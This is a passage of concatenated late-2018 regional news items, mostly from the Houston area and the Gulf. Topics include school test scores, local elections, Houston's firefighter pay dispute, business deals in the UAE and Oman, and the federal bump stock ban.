and years of learning and teaching for these results, SBISDs Superintendent of Schools Scott Muri, Ed.D., said. Earlier this fall, SBISD students also posted scores higher than both Texas and national averages on the ACT, another popular assessment of college readiness and preparation. On that exam, district students improved scores in four tested areas, and a composite, or average, score reflected a 10-year increase over both Texas and national ACT scores. Muri noted at a recent Board of Trustees presentation that SBISD bucked the trend this year for declining state and national ACT test scores. SBISD makes this test available to its high school students, too. In the state of Texas, ACT scores declined and in the United States, ACT scores declined. Here in Spring Branch ISD, our scores actually improved in every single area, he also said. The superintendent also credited Trustees for supporting the full-day SAT program for all juniors and ACT participation. Recent results on both exam options support the districts goal of post-secondary completion for all who graduate from SBISD. Spring Branchs T-2-4 goal calls for every child to be prepared for and to have access to a technical certification, military training, or a 2- or 4-year college degree. Students, teachers and staff members at Memorial Middle School found an upbeat and thoughtful way earlier this fall to view the aftermath of the hurricane that none living will ever forget. Artist Sarah Fisher recently displayed her larger-than-life painting, That was Harvey. This is Houston, at the middle school for several weeks earlier this fall. Fishers giant oil on canvas, which stretches 120 x192 inches, is painted on eight panels and depicts the valiant response of volunteers in the wake of the super-sized rain event. Fisher is a Houston-based painter and mixed media artist primarily focused on portraits and portraiture. Said Fisher, To commemorate the magnanimity of Houstonians resilient and altruistic response to Hurricane Harvey, I painted this monumental, human-scale portrait of my fellow volunteers. This group worked together seamlessly accepting donations outside NRG Center. On the artists website, the work is described as a big, huge, giant, Texas-sized Thank you! to the first responders, volunteers, organizers, neighbors and helping hands that gave their time, money and endless energy to getting Houston back on track after this devastating event. It is estimated that Memorial Middle School alone had more than 130 students impacted by Hurricane Harvey and its associated flooding, including students Bartlett and Mahood. The painting took five months to complete. It was first displayed at Bush Intercontinental Airport and then at several well-known locations across Houston - the Skywalk from the Hilton Hotel to George R. Brown Convention Center, the Lawndale Art Center, and even the Museum of Fine Arts Glassell School of Art. After its Memorial Middle School display, the painting was seen by students and staff at the Strake Jesuit College Preparatory School on Bellaire Boulevard. Forbes Middle East, a licensee of Forbes Media, has announced its first UAE 100 ranking at a gala event in Dubai, recognising the countrys top companies that have contributed in transforming the UAE into a thriving business hub. The leading business magazine ranked the 50 biggest companies listed on the countrys stock exchanges and 50 private companies making an impact in the region. To qualify, the companies needed to have origins within the UAE. First Abu Dhabi Bank tops the 50 public companies list. The banking and financial services giant was followed by Etisalat group, Emirates NBD, Abu Dhabi Commercial Bank and Emaar Properties to complete the top five. Diversified business group Majid Al Futtaim topped the 50 Private Companies List. The conglomerate was followed by Al Ghurair Group, Al-Futtaim Group, Lulu Group International and Landmark Group to complete the top five. Forbes Middle East had support from valued partners including Amicorp as Corporate Social Responsibility Partner; Thumbay Group as Strategic Partner; Skyline University College as Knowledge Partner; Aisha Alabbar Art Gallery as Exclusive Art Partner; ITL World as preferred Travel Partner; Global Hawk Imaging & Diagnostics as Support Partner; Gemini Property Developers as Support Partner and Qtickets (Nautica 360) as Support partner for the event. For the Top 50 listed companies all the companies on the Dubai and Abu Dhabi stock markets were studied. Forbes ME excluded companies based outside the UAE. They were ranked on four important criteriatotal assets, net profits, market capitalization (as of November 20, 2018) and revenues, with equal weights. Forbes ME used cut-offs for every criterion, in which if a company scored below this cut-off, it received a score of zero in this criterion. The cut-offs were $301.8 million for market capitalization, $158.91 million for revenues, $24.6 million for net profits and $1.2 billion for total assets. For the Top 50 Private Companies, the companies were ranked based on publicly available information that included but was not limited to the company websites, official social media platforms and other studies and documents as financial statements werent available. The companies were ranked on the basis of the number of employees in the company, number of countries that they operate in, the type of businesses they run as well as the number of sectors that they operate in, the age of the company and editorial points. Each criterion was assigned weights to come up with the final ranking. TradeArabia News Service NASA engineer Chad Tressler easily claimed the Position 6 seat on League Citys council in a Dec. 18 runoff election. Tressler won with 75 percent of the vote over opponent Chris Gross, who received 25 percent out of a total of 1,763 votes. My friends, neighbors, volunteers, and campaign manager put in a lot of work to get the result we did in this election, and Im really thankful the voters recognized that effort, Tressler said following his victory. Tressler had made infrastructure, traffic and working to prevent flooding as priorities throughout his campaign and said he is eager to join City Council as it considers a May bond election to address some of those issues. I campaigned on a promise to spur action on reducing the risk to League City homeowners and businesses from flood events, and the best way to get that started will be ensuring we have a good list of viable drainage improvement projects on the bond, he said. Tressler, who has served on the League City parks board, cited man-made issues as a central cause in localized flooding in areas along Dickinson Bayou and Clear Creek watersheds. He has advocated securing funds and partnering with other cities, counties, the state and federal agencies to develop regional solutions. Tressler said he has built relationships with council members as a regular visitor to meetings and that the networks Ive built will help as we work toward solutions. Tressler had received public endorsements from two current council members Larry Millican and Todd Kinsey. In a three-way race for Position 6 in the Nov. 6 general election, Tressler received the most votes with 11,551 but fell short of garnering more than 50 percent of total votes cast. Gross finished in second place with 27.3 percent and 6,757 votes. A third candidate, Silvio Vincenzo came in third with 26 percent and 6,448 votes. Mayor Pat Hallisey was re-elected in the general election, as was Position 7 council member Nick Long, while Hank Dugie was unopposed for Position 2. Former council member Andy Mann was elected to the Position 1 seat. Tressler replaces Position 6 council member Keith Gross, who did seek re-election. yorozco@hcnonline.com The Veterans of Foreign Wars Post 4709 in Conroe invites first responders and the community to Christmas in the recently renovated multiuse community facility. About five turkeys and six hams along with green beans, casseroles, dressing and all the fixings will be served on Tuesday, Christmas Day, at the VFW located at 1303 W. Semands St. in Conroe. The dinner starts at 2 p.m. until the food runs out, according to VFW member and U.S. Navy Veteran James Boogie Fesmire. Once again, Fesmire encourages first responders to stop by for a quick meal and reflected on how the VFW and first responders teamed up during Hurricane Harvey to assist the community. At least 45,000 meals were prepared and delivered by the VFW to those who lost their homes and first responders during the hurricane. They are serving our country just like the military, Fesmire said. They are out every day putting their life on the line just like soldiers are. While the VFW saw a lower turnout than usual at Thanksgiving, VFW members shared positive feedback about the event and hope to see more people at Christmas. Those who come out will also have a chance to check out the renovations recently made with the help of a visit from Home Depot and the generosity of the community. Since the VFW broke ground in October on the 1,600-square-foot expansion, it has been working on adding a commercial kitchen, more storage, new paint, new carpet, new ceiling tiles, and an effort to create a smoke-free facility with ozone generators and smoke eaters to be more accommodating to younger veterans and the community, according to previous reports. We made a bigger and better kitchen to make sure if we do have another Harvey that we have more room and a bigger place, even though we are not a shelter, to make sure people can come get food, Fesmire said. Following the Christmas Dinner, the public is invited to join the VFW for Bingo. Doors open at 5 p.m. Bingo will start at 7 p.m. Any remaining food will continue to be served at the community room. The VFW runs entirely on donations and anyone who wishes to donate to the largest VFW in Texas and wishes to help us recoup on the expenses for the renovations is greatly appreciated, Quartermaster John Tellier with the VFW said. Any veterans who are interested in more information, please contact us. We would love to make you a member. mellsworth@hcnonline.com Deputies on Monday found 14 dead sheep on a property in Montgomery, and another 24 either severely injured or underweight. The dead sheep were in various stages of decomposition at the property at the 7700 block of Adoue Road between FM 2854 and Keenan Cut Off. Deputies with the Montgomery County Sheriffs Office livestock unit were dispatched there by someone reporting a herd of sheep being attacked by stray dogs. The injured sheep were attacked by other animals, possibly dogs, the sheriffs office determined. For elderly and reclusive residents of Montgomery County, respite from the flu season is on the way. In partnership with Meals on Wheels, the Montgomery County Hospital District is working to inoculate the most vulnerable residents in the region. Through March, the two organizations are partnering up to distribute flu shots to homebound senior citizens. These are free flu shots and well come to you, said MCHDs community paramedicine coordinator, Andrew Karrer. We wanted to do something to help the elderly population of the county. The program is still in a developmental phase and has had a slow start so far, Karrer said, with less than 20 patients receiving this years shot since the program started Oct. 1. But, even with the relatively low-key introduction, the program has had a unanimously positive reception among its recipients, who average at about 80 years old. Both Meals on Wheels and the hospital district take specialized roles in the distribution representatives delivering food to homebound elderly residents inform them of the program and identify potential patients who might not have another way to be immunized against the flu. Patients book an appointment through Karrer and paramedics from the community paramedicine department give them shots provided by the Montgomery County Public Health District. Easy access to flu shots, especially after the chaotic 2017-18 season, is essential to maintaining the overall public health of the county, said Meals on Wheels of Montgomery Countys Executive Director Summer Day. More than 80 percent of the seniors Meals on Wheels serves in the county are below the poverty level, meaning they might also not have the adequate insurance to ensure preventative care. Were trying to address the issue of emergency room visits for our seniors, Day said. Its critical the flu can lead to a lot of other problems. Karrers role is central to developing community programs in the hospital district the flu shot distribution program was designed after a last minute brainstorm last summer brought up the issue. In its first year, he said, the hospital district is aiming to give immunizations to 75 elderly residents in Montgomery County. We didnt have any time to do a lot of education with the Meals on Wheels staff or prepare potential patients, Karrer said. Still, he added, the patients they have seen so far are indicative of a population looking to look after their health. More Information Homebound patients can contact Andrew Karrer at 936-537-4720 to set up an in-home flu shot visit from the Montgomery County Hospital District. See More Collapse I was taken aback by how elderly some of the patients were that we were seeing were, Karrer said. Theres a reason why theyre 90 and 92 years old theyre taking care of themselves and getting flu shots. mrincon@chron.com Ever had trouble remembering things or simply desired to improve your way of thinking? If so, a seminar from leading brain expert Dr. Joe Bates may be of help. Bates will be making a visit to The Woodlands to explain to residents how they can increase their cognitive function, boost self-esteem and have better emotional stability. Bates is a nationally recognized physician who won The National 2015 Mensa Intellectual Benefits to Society Award for his work with cognitive remediation training. He will be speaking at The Woodlands Family YMCA at Branch Crossing at 6:30 p.m. on Jan. 8, 2019. After graduating from Louisiana State University School of Medicine in New Orleans, Bates worked as a pediatrician for 25 years before becoming a psychiatrist, which has been his full-time job for 28 years. He began working with fellow veterans and older patients and noticed a common theme. I noticed a lot of our patients were losing, and complaining about losing, their mental sharpness. I wanted to kind of do a jump start on my own brain because I made all As in school but I noticed I wasnt as sharp I used to be either, Bates explained. He created a training program, BrainCardio, that helps people age, think, feel and live better with a series of personal brain fitness workouts he developed to increase confidence, hope, well-being, energy and memory. The first test trial of the program went well, Bates noted, and the participants retained much of the brain rewiring that occurs during the training. We had a tremendous turnout and some of the patients took it three times and they had fun with it so from there I just branched out and put it in a form that could go out to the general public, he said. Bates began traveling the country in 2013 to help others learn how to rewire their brain to improve memory and focus through mental exercises. The program is based around the idea of neuroplasticity, where the brain can reorganize itself as it learns new information or if there are damaged neural pathways that are no longer active. The feedback has been that its something that most people think that they need because they want to be sharp and they want to live up to their potential and they want to have hope for the future, Bates said. They want an attainable goal and you can improve your cognitive function no matter what age you are. Although BrainCardio is geared for ages 40 and older, Bates noted that it can benefit people of all ages including college students and young adults. At the speaking event in January, he plans to discuss the science behind the program, how participants can benefit and the actual steps of and what to expect from the program. The YMCA at Branch Crossing is located at 8100 Ashlane Way. The event is free and open to the public but those wishing to attend are asked to register online at www.ymcahouston.org/smc-branch-crossing. For more information, call 281-367-9622. With more than 100,000 students setting foot in one of Lone Star Colleges campuses or centers each semester, every year is bound to exhibit growth and change. This year was no different. Here is a look back at 2018 at one of the Houston regions most active educational institutes. Record enrollment Chancellor Steve Head said that enrollment hit an all-time high in the fall 2018 semester with about 89,200 students taking classes and another 15,000 students enrolled in non-credit workforce programs. At the spring graduation this year, almost 8,000 students received associates degrees and thousands of students transferred to other institutions to continue their education. Building development and recovery When Hurricane Harvey hit the area in 2017, LSC-Kingwood was heavily impacted. Head said college officials has been hard at work restoring the damaged buildings, so that campus is gearing up to fully re-open in January. Other buildings were opened as new this year, though. The Process Technology Center near Atascocita opened, as well as the LSC-North Harris construction trade facility and the LSC-University Park Center for Science and Innovation. Awards and recognition This year, based on an employee survey, LSC was recognized for the second year in a row as one of the great colleges to work for by The Chronicle for Higher Education. In addition, Head said the college was recognized as one of the top 10 associate degree-producers for minorities and one of the top 10 community college degree-givers in the country. Trustee change-up Newly elected trustees Michael Stoma, Ernestine Pierce and Mike Sullivan replaced outgoing LSC Board of Trustees members David Holsey, Kyle Scott and Ron Trowbridge as a result of the Nov. 6 election. Head said he thinks that though they expect a lot out of the board members, he is confident the new members will be fine. Department of Education review During a program review of the college, the federal Department of Education found that more than 6,000 students incorrectly received federal grants and loans over a four-year period, which made up about 2 percent of the almost $663 million awarded from 2012 to 2016. The college announced the findings at the end of November, but made it clear that they planned to appeal the findings as they found documentation that some students were correctly awarded the money. Head said he thinks the appeal will occur in March. Looking forward While the college is planning to expand their partnerships with other universities at LSC-University Center in the new year, they also submitted a proposal to offer a bachelors degree of science and nursing at LSC-Montgomery and a bachelors degree of applied technology at three construction trade locations. Head said he expects approval for that to come in March, and implementation to be in late 2019 or early 2020. Were looking forward to next year, and I think itll be very positive, Head said. jane.stueckemann@chron.com Samsung Electronics has signed an agreement with the Korea Transportation Safety Authority (Kotsa) to collaborate on next-generation telecommunication technology which will enable autonomous driving innovation across the country. Through the partnership, both entities will build 4G LTE, 5G and Vehicle-to-Everything (V2X) telecommunication networks and related IT infrastructures at K-City, a test bed for autonomous driving technology in Korea. By building various telecommunication networks including 5G, 4G and V2X in one place, K-City will provide real-world experiences of autonomous driving for people and businesses across the industry, said Byung Yoon Kwon, director of Kotsa. "This open environment is expected to be served as a unique innovation lab for industry partners that will ultimately enable to accelerate the availability of autonomous driving era. "The prominence of autonomous vehicles and connected cars is growing rapidly in the 5G era, and Samsungs commitment to collaborative innovation in this area is stronger than ever, said Jaeho Jeon, executive vice president and head of Global Technology Service, Networks Business at Samsung Electronics. "With our technical expertise in 5G technologies, we are uniquely positioned to establish the foundation of a new industrial ecosystem that will allow the autonomous driving industry to flourish. K-City consists of five real-life simulated cases, urban and rural areas, local communities, highways and parking lots, spread across a 360,000-sq-m field. Using advanced vehicle communication technologies, the test bed will create an environment for autonomous vehicles and connected cars to experience real-life road conditions, crossings and tunnels. It will also enable the testing of accident risk situations that can be recreated and repeated, contributing to enhanced safety for both drivers and pedestrians. Alongside the implementation of network equipment, Samsung will begin building key IT infrastructures to guarantee minimal latency and information security at K-City. Mobile Edge Computing (MEC) near base stations is critical in supporting instant communication between fast-moving vehicles, and enables cars to react to unanticipated events. Designed as a multi-purpose open innovation lab to serve various industries, the network solution in K-City supported by Samsung and Kotsa will be available to professionals and businesses of all sizes. The site will eventually become the centre of research for autonomous driving and connected cars, which will spearhead the future growth of 5G industries. TradeArabia News Service 1. From the Family Robert Earl Keens annual Merry Christmas From the Fam-O-Lee has undergone a name change to the Cosmic Cowboy Christmas. Whether that means a noticeably different show remains to be seen. But Keen always puts on an entertaining show and he has a stone-cold classic holiday song to his credit, too. Hes joined by Shinyribs, who always puts on a spirited show, and who has a new holiday recording to plug. When: 8 p.m. Friday Where: House of Blues, 1204 Caroline, Houston Details: $156; 832-667-7733, hob.com Andrew Dansby 2. Last Christmas A long-running holiday tradition will come to a close this year. Local punk band 30footFALL will do its 24th Christmas show on Christmas day. The gig is part of a farewell series of concerts at Fitzgeralds, the Heights venue that will close at years end. When: 8 p.m. Tuesday Where: Fitzgeralds, 2706 White Oak Details: $10-$15; 713-862-3838, fitzlive.com Andrew Dansby 3. Sing along Martin Burniston sets up shop again at the Mucky Duck for his annual Christmas Singalong shows. The beloved entertainer has been doing the shows for 28 years now. When: 7 p.m. Friday and Saturday; kids show 2 p.m. Saturday Where: McGonigels Mucky Duck, 2425 Norfolk Details: $48-$50 evenings shows, $10-$15 kids show; 713-528-5999, mcgonigels.com Andrew Dansby 4. None more black With a name snared from the Velvet Underground, Austins Black Angels make the sort of dark, cavernous rock you might expect. That this show is described as an End of 2018 Winter Dance Party indicates either a sense of humor or an enormous pivot in the bands sound. When: 8 p.m. Thursday Where: White Oak Music Hall, 2915 N. Main Details: $25; 713-237-0730, whiteoakmusichall.com Andrew Dansby 5. Blues sister Sarah Grace brought something unexpected to the current season of The Voice the blues. The Kinder High School for the Performing & Visual Arts student performed a variety of blues classics on the show and made it all the way to the semifinals. Her radically reworked version of Amazing Grace scaled the iTunes and Billboard charts. And shes just released an original single, What I Came For, about her experiences as a musician. When: 8 p.m. Saturday Where: Dosey Doe, 25911 Interstate 45 N., The Woodlands Details: $58-$98; 281-367-3774, doseydoe.com Joey Guerra 6. See the Doc The annual DocFest concert serves a trio of purposes. The concert honors its namesake, Robert Doc Morgan, the studied director of the jazz program at the High School for the Performing and Visual Arts for years. It also serves to raise money for a scholarship in Morgans name at the New School in New York, where many of his famed students furthered their study. And its also a top-shelf jazz concert and HSPVA Jazz Hall of Fame induction event. This year performers and honorees include Robert Glasper, the Grammy-winning pianist, and the great saxophonist Shelley Carrol. When: 7:30 p.m. Saturday Where: Ensemble Theatre, 3535 Main Details: $25-$100; docfestjazz.org Andrew Dansby The Abu Dhabi government and the Abu Dhabi National Oil Company (Adnoc) have awarded Austrias OMV a five percent stake in the Ghasha ultra-sour gas concession that comprises the Hail, Ghasha, Dalma, Nasr, Sarb and Mubarraz sour gas fields. The Abu Dhabi government and the Abu Dhabi National Oil Company (Adnoc) have awarded Austrias OMV a five percent stake in the Ghasha ultra-sour gas concession that comprises the Hail, Ghasha, Dalma, Nasr, Sarb and Mubarraz sour gas fields. OMV, which joins Italys Eni and Germanys Wintershall as Adnocs partners in the concession, will contribute 5 percent of the project capital and operational development expenses. Eni was awarded a 25 percent stake and Wintershall a 10 percent stake in the Ghasha concession in November. The concession agreement, which has a term of 40 years, was signed by Dr Sultan Ahmed Al Jaber, UAE Minister of State and Adnoc Group CEO, and Dr Rainer Seele, chairman of the executive board and CEO of OMV. Dr Al Jaber said: This long-term strategic agreement with OMV, as well as the other Ghasha concession agreements we have concluded recently, underscores Adnocs commitment to maximizing value from Abu Dhabis substantial gas resources and to ensuring a sustainable and economic supply of gas, in line with the leaderships directives. The combination of rising demand for gas, more advanced technology and our industry-leading experience in developing sour gas fields, makes it possible for us to commercially and holistically unlock value from our vast sour gas resources. This agreement builds on, and extends, our strong partnership with OMV, who we collaborate with in key areas across the oil and gas value chain. They bring extensive experience in sour gas operations, in Austria and Pakistan, and, like Adnoc, have a proven record working with mature and complex reservoirs. It will help ensure our investment, in the Ghasha concession, will maximize long-term returns for the benefit of ourselves, our partners and the nation. The Ghasha concession awards follow Abu Dhabis Supreme Petroleum Councils approval of Adnocs integrated gas strategy, which will see the development, in phases, of Abu Dhabis substantial gas reserves, as the UAE moves towards gas self-sufficiency and aims to transition from a net importer of gas to a net gas exporter. The project is expected to produce over 1.5 billion cubic feet of gas per day when it comes on stream around the middle of the next decade, enough to provide electricity to more than two million homes. Once complete, the project will also produce over 120,000 barrels of oil and high-value condensates per day. Over the projects lifetime, Adnoc expects substantial benefits to flow back into the UAE economy under its In-Country Value program, which is intended to stimulate commercial opportunities for local businesses, catalyze socio-economic development and create additional employment opportunities for UAE nationals. Dr Seele said: We are pleased to be awarded a stake in the largest sour gas and condensate fields in Abu Dhabi and to strengthen our partnership with Adnoc. We are confident that our technological expertise will contribute to value-creation and profitable growth, for all partners involved. Todays signature marks a long-term commitment, and it is another important step in the successful implementation of our strategy 2025. With this agreement, we are expanding our already material position in the Middle East and are further shifting our upstream production towards gas. Sour gas is defined by its significant hydrogen sulfide content; in the past this has made processing the natural gas more complex. This is the reason why the resource has lain beneath the surface in some fields for decades after its initial discovery. However, the combination of rising demand and technological advances has now made extraction and processing viable. In developing the Hail, Ghasha, Dalma and other ultra-sour gas fields in the concession, Adnoc will capitalize on its world-leading expertise and successes in ultra-sour gas development, gained from the development of the Shah reservoir, creating an ultra-sour gas centre of excellence for the region. In addition to developing the Ghasha concession area, Adnoc also plans to increase production from its Shah sour gas field to 1.5 billion cu ft per day and move forward to develop the sour gas fields at Bab and Bu Hasa. Adnoc also plans to tap gas from its gas caps and unconventional gas reserves, as well as new natural gas accumulations, which will continue to be appraised and developed as the company pursues its exploration activities. OMV, which has a long-standing experience in the treatment of sour gas, collaborates with Adnoc in a number of areas. In April, it was awarded a 20 percent stake in Abu Dhabis Sarb and Umm Lulu offshore concession. Since 2016, it has also been leading on a four-year seismic, drilling and engineering work program to explore and appraise areas that include the fields in the Ghasha concession. OMV is also a shareholder in Borealis, Adnocs partner in Borouge, a leading global provider of innovative plastic solutions, and, in May 2017, Adnoc and OMV agreed to work together to explore potential opportunities in support of Adnocs downstream growth ambitions. TradeArabia News Service Mayor Sylvester Turner said Wednesday his administration is moving forward to implement the voter-approved charter amendment granting Houston firefighters equal pay to police of corresponding rank and seniority, though the city has not yet determined when firefighters will begin receiving increased paychecks or how the charter amendment will impact individual city departments. Turners administration plans to lay off hundreds of city employees, including firefighters and police officers, to cover the cost of paying firefighters on par with police officers, a move city officials say will amount to a 29 percent raise costing the city upwards of $100 million annually. The mayor said he did not know when the city would begin layoffs, but indicated to reporters Wednesday that it likely would take several months to put Proposition B into effect. I don't want anybody to operate under the assumption that even as we move forward to the implementation that checks are going to start flowing in January, Turner said. It will take some time. During the lead-up to the Prop B election, Turner said the city would be forced to lay off up to 1,000 city employees, including firefighters and police officers, a move that firefighters say Turner could avoid if he renews contract negotiations with the Houston Professional Fire Fighters Association. The mayor repeatedly has rejected the unions offer to return to the bargaining table, saying a court should first decide whether collective bargaining can supersede the voter-approved amendment. The fire union has argued a new contract would override Prop B, and some labor lawyers agree. Turners comments came a day after a state district judge lifted a temporary restraining order that had blocked implementation of the charter amendment. The ruling was part of a lawsuit filed by the Houston Police Officers Union against the city and fire union, in which police officers are seeking to nullify the amendment by contending it is unconstitutional. Asked why the city is only now beginning to put Proposition B into effect, Turner said his administration did not take action while the temporary restraining order was in place from Nov. 30 until Tuesday. Proposition B passed Nov. 6 with 59 percent of the vote. The fire union, meanwhile, has sought to negotiate a new contract with Turner that would allow the city to phase in Proposition B. Fire union president Marty Lancton has cast Turners refusal to return to the table as vindictive, and said after state District Judge Randy Wilsons ruling Tuesday that the mayor could implement the amendment or pick up the phone and call firefighters so we can work toward a solution that implements the will of the voters in the best possible way. Asked Wednesday about the unions negotiation offer, Turner did not indicate he has was any closer to sitting down with the firefighters, saying that doing so would go against what people wanted when they approved Proposition B. The firefighters, who have contended that the police unions lawsuit is aimed at circumventing the will of the voters, say it is possible to arrive at a solution that implements the will of the voters in the best possible way. The mayor previously has said the city could not phase in Proposition B, and since has accused firefighters of attempting to confuse the issue by calling for negotiations while the lawsuits play out in the courts. In addition to dissolving the restraining order, Wilson on Tuesday shot down attempts by the police union and city to secure an injunction on the measure and to halt legal proceedings in the case. HPOU President Joe Gamaldi said he would not appeal the ruling, while Turner did not say whether the city plans to do so. City Council on Wednesday did extend its contract with a law firm representing the city in a separate Prop B-related lawsuit against the fire union. The 12-4 vote allotted an additional $185,000 in legal fees with Denton Navarro Rocha Bernal & Zech, P.C., bringing the citys costs to a maximum of $475,000. That case originated in June 2017, when the fire union sued the city over stalled contract talks, alleging that the city did not bargain in good faith. The two sides never bridged the gap between the fire unions request for a 20 percent raise over three years and the citys counter offer for a 4 percent raise over two years. In that lawsuit, the firefighters are seeking to settle the contract dispute by having a jury set a new contract, a move the city has argued is unconstitutional. A state district judge ruled against the city, which it has appealed to Texas 14th Court of Appeals. The contract extension was the only action item taken by the council Wednesday that related directly to Prop B, but the looming pay hikes seeped into talks on everything from garbage collection to art installations. Resources are about to get even thinner, Turner said at one point. Money is not printed on a machine behind us. We have limited dollars. In September, Turner asked each department to submit scenarios in which their budgets could be cut by 3.4 percent or 5.2 percent. The looming stress to city finances prompted Council member Dwight Boykins to propose a flat, monthly $25 garbage collection fee to offset the pay raises, which he continues to float despite Turners rejection of the idea. The likely necessity for drastic action without a new contract agreement was evident Wednesday. The citizens know what they voted for and they voted to approve pay parity, Council member Michael Kubosh said. He and Turner agreed on that much. We have to make tough calls and tough decisions, the mayor said. National carrier Oman Air has won two prestigious design accolades - best New First Class 2018 and Best New Lounge 2018 in TheDesignAir Awards 2018. TheDesignAir Awards have been running for six years and celebrates the very best in aviation design across the globe. The judging panel, made up of eight aviation and design experts, awarded Oman Air with the accolades following the unveiling of the new lounge at Muscat Airport and the launch of the three-class Dreamliner earlier this year. The award acknowledges the carriers commitment to offering the very best in design and customer experience to its guests. Oman Air CEO, Engineer Abdulaziz Al Raisi, said: Oman has such a rich heritage and inspires us through design and also an inherent sense of hospitality and service. It is a great honour to receive such positive feedback from our guests and industry experts alike. Xia Cai, senior vice president of guest experience and branding, said: We are delighted to be recognised as the leading airline in design. Oman Airs guest experience, brand, and product development teams worked collaboratively to create our bespoke First Class cabin and lounge offerings, and we were delighted with the results. Saleem Amanulla, vice president, Airport Operations, Oman Air, said: It is indeed an honour to be recognised with a design award for our lounges at the new passenger terminal. We have integrated into the design element of the premium lounges the influence of the desert and mountains found in Oman and this inspiration has produced a beautiful area for guests to relax before boarding. Apart from receiving appreciation from our guests, such awards are also hugely motivating. Jonny Clark, founder of TheDesignAir, said: "Oman Air has long been on our radar as a leading carrier in the Middle East. With these two new leading products, the airline has reaffirmed its position as a design-led airline with a focus on the passenger experience. These culturally sensitive, delightful products on the ground and in the air bring design touches that truly represent Oman's rich and diverse culture. Onboard the new First Class suites are elegant, refined and paired back, while the lounge in Muscat's new terminal is rich, luxurious and intricately detailed, creating an opulent space to relax between flights. - TradeArabia News Service Harris County Sheriff Ed Gonzalez announced Wednesday a new initiative that would temporarily store firearms turned in by people who have protective orders filed against them in domestic violence cases. The establishment of the Safe Surrender program is considered a major gain for domestic violence victims and advocacy groups, since more than half of 2017 domestic violence fatalities in Texas are caused by gunshots. I have been to too many murder scenes both as a Houston Police Department detective and now as sheriff - that were caused by domestic violence, Gonzalez said at a press conference. Here in Harris County, we know that more than 40 percent of our homicides are the result of domestic violence. We have to act. In Harris County last year, there were almost 60,000 calls made to domestic violence hotlines. The county also led Texas that year in the highest number of deaths as a result of domestic violence, with 29 fatalities. Statewide, 136 women were killed, 65 percent of whom were shot. And the moment a victim decides to leave her abusive partner, her chances of being severely injured or murdered increases by 75 percent, studies show. State and federal laws, enacted in the 1970s, mandates that people with protective orders filed against them are not allowed to possess firearms. However, Harris County State District Judge Judy Warne said those individuals options were limited to either selling or transferring their guns to other people, resulting in many of them keeping their weapons unlawfully. A year and a half ago, domestic violence agencies in Harris County joined with law enforcement agencies to establish the Safe Surrender Committee, which met monthly to find a way to decrease firearm possession among abusers. We know that national statistics tell us that when abusers have access to guns, then the victim is five times more likely to be murdered, said Barbie Brashear, executive director of the Harris County Domestic Violence Coordinating Council. That correlation tells us theres this real need to do something and offer people with protective orders against them a way to have that gun put away for safekeeping. As part of the new initiative, when a court approves a protective order against an individual, a copy will be sent to a Harris County Sheriffs Deputy assigned to the Safe Surrender program. The individual then has the option to reach out to the deputy to store the firearm with the department until the protective order is expired. This is a surrender, not a seizure, Gonzalez noted. Were trying to have a process in place where we can diminish how things can quickly spiral out of control. We know this is still a work in progress. A Houston patrol officer who went public with concerns about police staffing and was removed from duty has filed a federal civil rights suit alleging the department violated his free speech rights. The unusual lawsuit by ex-officer, Kenneth Mitchell, targets HPD Chief Art Acevedo and two top officials in the department, for yanking him from his assignment after he questioned the closing of the Willowbrook neighborhood substation. Mitchell wrote a civic leader that the department was gambling with the safety of the neighborhood. A free speech expert said there have maybe been about 50 such cases over the last 15 years around the nation. Mitchell, 35, of Spring, who is now employed as a lawyer, is seeking damages to recover his HPD retirement, the loss of health insurance for his family and mental anguish.. Police commanders removed the senior officer to dispatch, considered a demotion, after Mitchell sent an email to a civic leader with facts and figures illustrating the impact of HPDs shuttering of the Willowbrook storefront station would have on response times. Supervisors initiated an internal investigation and told him told him the email caused a public alarm, in violation of department policy. HPD eventually permitted the officer to choose between a dishonorable discharge or resigning, and Mitchell chose to leave in July. Mitchells lawyer, Randall Kallinen, said while it may be inconvenient that police officers have opinions, the First Amendment supersedes police policy. Police officers do not lose their right to freedom of speech when they get hired by the city of Houston, Kallinen said. Who better to be able to inform the public about policy issues effecting safety than the police officers working the streets. Mitchell did not violate his duties when he authored the email because they had nothing to do with writing emails or analyzing data on response times, his lawsuit argues. A City of Houston spokesperson deferred to the police department, where spokesperson John Cannon said he could not comment on pending litigation. Mitchell, sworn in as an officer in January 2006, was assigned to the Willowbrook area that he frequented as a child and where numerous members of his family lived and worked. When HPD executives made the decision to close the office in January and create the North Belt Division , Mitchell opposed it, believing it would slow response times and decrease safety in the area for patrons and residents including his wife, relatives and friends. He expressed this to his supervisors. On Mar. 22, 2018, Mitchell also sent an email about his concerns to Larry Lipton, chair of a safety and security task force for the Northwest Chamber of Commerce, who had asked for documentation of the problem. The email was written during his off-hours from his personal email address, and detailed how the staffing will changed the day-to-day policing in the neighborhood. Mitchell writes that, Management is just gambling, betting that nothing will happen or the incidents that hold will not progress. He says the community has gotten the short end of the stick because more resources are needed in Greenspoint. An active shooter or serious incident will happen in Willowbrook, the email says. No one will question the coverage, because eventually there will be a response. There have been just a handful of cases each year involving free speech by law enforcement officers over the past 15 years, said Chip Babcock, a Houston-based partner at the Jackson Walker law firm, who specializes in free speech cases. He estimated that the cases have gone both ways, depending on the circumstances of the speech. Babcock, who has no connection to this case, said he didnt think causing a public alarm is an argument that will hold. There are a lot of things that are alarming to the public but nevertheless need to be said, he said. You cant defend the policy just on the grounds that somebodys going to be worried about it. Historically, courts have given cities more latitude to restrict officials speech in the interest of keeping departments running smoothly. The real question is, does this police officer have a right to say what he said? Babcock said. gabrielle.banks@chron.com A Houston-area UPS driver is behind bars Thursday after being caught stealing packages from customers, police said. Gilbert Good, 19, was caught by a UPS security manager placing packages in his car that were meant to be delivered on his route Dec. 12, according to the Harris County Precinct 4 Constable's Office. The incident took place in the 24700 block of Tomball Parkway. When a gunman opened fire on a crowd of concertgoers in Las Vegas last October 2017, killing 58 and wounding hundreds more, bump stocks became the center of national attention. The device, used by the killer, allows semi-automatic rifles to mimic the firing speed of a fully automatic weapon. The Justice Department recently decided to expand the definition of a machine gun to include the bump stock. And on Tuesday, Acting Attorney General Matthew Whitaker signed a regulation outlawing the feature. RELATED: Tiny West Texas town bears brunt of bump stock ban While it's not a move to take guns away from law-abiding citizens, gun advocacy groups have criticized the move. Gun Owners of America threatened to file a lawsuit against what they called an "arbitrary" ban. "The new ATF regulations would arbitrarily redefine bump stocks as 'machineguns' -- and, down the road, could implicate the right to own AR-15's and many other lawfully owned semi-automatic firearms," GOA Executive Director Erich Pratt said in a new release. "ATF's new bump stock regulation clearly violates federal law, as bump stocks do not 